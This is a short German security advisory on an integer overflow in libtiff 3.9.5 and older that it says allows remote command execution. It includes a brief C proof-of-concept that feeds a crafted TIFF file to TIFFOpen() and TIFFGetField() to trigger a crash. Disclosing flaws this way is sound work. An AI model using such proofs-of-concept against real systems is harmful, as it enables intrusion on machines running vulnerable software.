Libtiff: Integer Overflow

Ein Integer-Overflow-Fehler in der Bibliothek Libtiff hat zur Folge, dass ein entfernter Angreifer Befehle mit den Rechten des Anwenders ausführen kann. Ursache ist ein Programmierfehler in der Implementierung der Funktion “TIFFOpen()”. Die Attacke basiert auf mehreren “TIFFOpen()”-Aufrufen, angewandt auf eine geschickt konstruierte TIFF-Datei.

Der Exploit hierzu ist sehr einfach:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"
int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;
/* * for instance, TIFFGetField library function will * called with malicious samplesperpixel field value * TIFFGetField got segfault! */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);
printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}

Die präparierte TIFF-Datei (sample_spp.tif) steht zum Download bereit.

Betroffen sind die Versionen 3.9.5 und älter.

Nach oben